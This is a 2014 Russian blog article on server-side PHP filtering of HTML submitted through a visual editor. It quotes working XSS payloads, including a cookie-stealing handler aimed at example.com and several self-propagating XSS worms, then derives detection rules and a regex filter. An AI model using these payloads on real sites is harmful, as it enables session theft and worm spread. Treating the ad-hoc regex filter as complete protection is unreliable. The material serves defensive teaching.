Sadda.ru Ironetcart Андроид Ассемблер MASM32 Linux Все статьи Table of Contents


 

Защита визуального html-редактора
(фильтрация HTML на стороне сервера)

  Макс Петров сентябрь 2014

Вредоносный JavaScript

      Мое мнение, состоящее в том, что от внедряемых вредоносных браузерных скриптов (хранимые XSS-атаки) проще и эффективнее защищаться средствами браузеров, было изложено ранее: "Хранимые XSS-атаки и защита от них (удаляем javascript из html в браузере)" . Браузерная защита от JavaScript-а, состоящая в добавлении к html-страницам сайта фильтрующего кода, надо полагать, является надежной, тем не менее, наличие такой защиты не отменяет необходимости использовать еще и серверный фильтр. В отношении тех же XSS-атак на сервере можно организовать дополнительную линию обороны. Надо помнить и о возможности внедрения злоумышленником в html-сообщение, отправляемое с сайта, не браузерных, а серверных скриптов (php), в распознавании которых браузер будет не силен.

      Атакующий скрипт, хоть браузерный, хоть серверный - это ведь программа, надо думать, что программа всегда будет иметь некоторые символьные отличия от "чистого" html. Попробуем найти такие отличия и использовать их для построения html-фильтра на сервере. Ниже - примеры вредоносного JavaScript.

XSS:

<p onmouseover='alert("XSS")'> Какой-то текст </p>

<p onmousemove="document.getElementsByTagName('body')[0].innerHTML='XSS'"> Какой-то текст </p>

Зашифрованный XSS:

<p onmouseover="location&#46;href='http://example&#46;com/'&#43;document&#46;cookie;"> Какой-то текст </p>

<a href="http%3A%2F%2Fexample.com%3Fq%3D%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E"> Какой-то текст </a>

      Браузеры восстанавливают текст из символьных примитивов не только находящийся внутри html-контейнеров (между открывающим и закрывающим тегом), но и внутри самих тегов (между < и >). В http-адресах допускается url-кодирование. Указанное осложняет распознавание вредоносного кода на стороне сервера, так как одна и та же символьная последовательность может быть представлена разными способами.

XSS-черви:

<form><input name="content"><img src="" onerror="with(parentNode)alert('XSS',submit(content.value='<form>'+innerHTML.slice(action= (method='post')+'.php',155)))">

<iframe onload="c=['content=','<iframe onload=\42',attributes[0].nodeValue,'\42>'].join(''); with(new XMLHttpRequest)open('POST','post.php'),send(c);alert('XSS')">

<form><input name="content"><iframe onload="i=parentNode;i.action=(i.method='post')+'.php'; i[0].value='<form>'+i.innerHTML;i.submit(alert('XSS'))">

<b><iframe onload="with(new XMLHttpRequest)open('POST','post.php'), setRequestHeader('content-type','application/x-www-form-urlencoded'),send('content= '+parentNode.innerHTML.bold(alert('XSS')))"></b>

<script id=_> alert('xss');with(new XMLHttpRequest)open('POST','post.php'),send('content='+_.outerHTML) </script>

      Вышеприведенные XSS-черви - всего лишь несколько из множества присланных на проводимый в январе 2008 года Робертом Хансеном (aka RSnake) конкурс на минимального (самого короткого) вредоносного JavaScript-червя (итоги конкурса здесь).

Признаки XSS-атак

      XSS-скрипт - это программа, обращающаяся к объектам DOM (Document Object Model) и их методам. Иное едва ли будет сколько-нибудь вредоносным. Например, JavaScript-строка
      onckick='var a = "xss"'
не затрагивает объектную модель документа, поэтому, даже будучи внедренной в html-тег, такая строка безвредна. Только манипулируя объектами html-документа и их методами, хакер способен причинить заметный вред сайту. Например, строка
      onmousemove="document.getElementsByTagName('body')[0].innerHTML='XSS'"
уже заменяет содержимое страницы.

      Признак обращения к методам DOM - это круглые скобки, также точки, стоящие слева от знака равенства. Круглые скобки могут использоваться и в html - для задания цвета в формате rgb(), однако, цвет шрифта и фона в html задается, как минимум, еще тремя способами. Поэтому круглыми скобками можно пожертвовать без ущерба для выразительности html-текста. Необходимо принять правилом, что скобки внутри тега (то есть, между < и >) - это очень опасно, если мы получили на сервер сообщение от пользователя, в этом сообщении обнаруживаются скобки внутри тегов, то самое уместное, что мы должны сделать - это заблокировать такое сообщение.

      Точка может содержаться в html-тегах: при задании адреса ссылки (тег <A>); при задании размера html-элементов (style="height:1.5in; width:2.5in;"). Но символьных последовательностей вида
      точка буквы равно
в html-тегах быть не может. При наличии указанной последовательности внутри html-тега, сообщение от пользователя, с большой вероятностью, содержит скрипт и должно быть заблокировано.

      Еще один очевидный признак опасности - это символ "+" внутри тега. В бесскриптовом html такого нет. При обнаружении внутри тегов плюсов - безжалостно блокируем сообщение.

      К шифрованию символьными примитивами внутри html-тегов добронамеренный пользователь сайта, добавляющий комментарий посредством визуального редактора, никогда не прибегнет. Никаких выгод в виде дополнительных выразительных средств использование символьных примитивов в тегах не дает, лишь требует дополнительных затрат времени на написание. В большинстве случаев, надо думать, добронамеренный пользователь даже и не знает, что существуют некие символьные примитивы в html. Отсюда правило: амперсанд внутри тега - доказательство атаки на сайт. Соответственно, если видим такое, то блокируем сообщение.

      Аналогичное правило следует принять и в отношении символа "%", который может быть применен в url-кодировании. Однако, проценты используются и в "чистом" html - для задания относительных размеров элементов. Опасными являются комбинации, в которых за знаком "%" непосредственно следуют буква или цифра.

Обезвреживание серверных скриптов

      В отличие от JavaScript-интерпретаторов в браузерах, php-интерпретатор на сервере не позволяет вольностей при написании текста программы. Поэтому, для нейтрализации возможного серверного скрипта достаточно сделать сквозную замену в html-сообщении пользователя всех символов, существенных при написании php-программы, их html-примитивами. Замене подлежат, в первую очередь, знаки доллар и подчеркивание, точка, круглая, квадратная и фигурная скобки, знаки плюс и минус, знак обратный слэш.

PHP-фильтр для HTML-сообщений

      $message - это полученное из визуального редактора на сервер html-сообщение.

// запоминаем длину сообщения $lenmessage = strlen($message); // вырезаем тег комментария $message = preg_replace('/<!--[\w\W]*-->/', "", $message); // вырезаем каждый тег, в котором атрибут "src" ссылается на внешний ресурс $message = preg_replace('/<[^>]+?src[\w\W]+\/\/[^>]+?>/i', "", $message); // вырезаем каждый тег, в котором есть любой символ кроме: - a-z 0-9 / . : ; " = % # пробел $message = preg_replace('/<[^>]+[^->a-z0-9\/\.\:\;\"\=\%\#\s]+[^>]+?>/i', "", $message); // вырезаем каждый тег, в котором есть последовательность ". a-z =" $message = preg_replace('/<[^>]+?\.[a-z ]+?\=[^>]+?>/i', "", $message); // вырезаем каждый тег, в котором есть последовательность "% a-z" или "% 0-9" $message = preg_replace('/<[^>]+?\%[a-z0-9]+?[^>]+?>/i', "", $message); // вырезаем каждый тег, в котором есть последовательность "script" или "js:" $message = preg_replace('/<[^>]*?script[^>]*?>/i', "", $message); $message = preg_replace('/<[^>]*?js:[^>]*?>/i', "", $message); // вырезаем каждый тег, который начинается на символ кроме "a-z" или "/" $message = preg_replace('/<[^a-z\/]{1}[^>]*?>/i', "", $message); // проверка: если сообщение укоротилось, то завершаем программу $lenmessage2 = strlen($message); if ($lenmessage != $lenmessage2) { print "Сообщение не может быть добавлено"; exit; } // совершаем сквозную замену опасных символов соответствующими им примитивами $message = str_replace("$", "&#36;", $message); $message = str_replace("_", "&#95;", $message); $message = str_replace(".", "&#46;", $message); $message = str_replace(chr(92), "&#92;", $message); // \ $message = str_replace("(", "&#40;", $message); $message = str_replace(")", "&#41;", $message); $message = str_replace("[", "&#91;", $message); $message = str_replace("]", "&#93;", $message); $message = str_replace("{", "&#123;", $message); $message = str_replace("}", "&#125;", $message); $message = str_replace("?", "&#63;", $message); // теперь сообщение проверено, скрипты в нем обезврежены

      Следует заметить, что фильтр не удаляет парные теги. Допустим, мы получили
      <DIV onclick="alert('XSS')">Click here!</DIV>
Фильтр вырежет только <DIV onclick="alert('XSS')">, но парный (закрывающий) тег </DIV> останется. Если отдавать сообщения, в которых есть теги без соответствующих им пар, в браузер, возможна неприятность в виде "перекоса" сайта. Неизвестно ведь, какому открывающему тегу браузер сопоставит оставшийся без пары закрывающий тег. Поэтому, а также по соображения безопасности, сообщения, в которых фильтром что-то вырезано, вообще не стоит отдавать в браузер. Лучше выводить что-то наподобие "Сообщение не может быть добавлено" и завершать программу.

      Предполагается, что сообщение будет записано в файл (не в базу данных).

Обсуждение

      Буду благодарен за критику. Пишите на форум поддержки, в раздел Визуальный редактор .



Ironetcart

      Техническая поддержка: http://ironburattin.ru
      Взять движок: Форум на файлах «Ironetcart» (скачать)

      Разработка форумного движка
      Форум «Железный Бураттин» (название и концепция)
      Статическая защита форм
      Идеальная капча
      Как я победил магические кавычки
      Внеклавиатурные символы HTML
      Хранимые XSS-атаки и защита от них (удаляем javascript из html в браузере)
      Защита визуального html-редактора (фильтрация HTML на стороне сервера)
      Скорость движка форума: файлы или база данных
      Прогресс-бар на PHP
      Зачем тупому форуму поиск?

     


© Max Petrov При использовании материалов ссылка на sadda.ru обязательна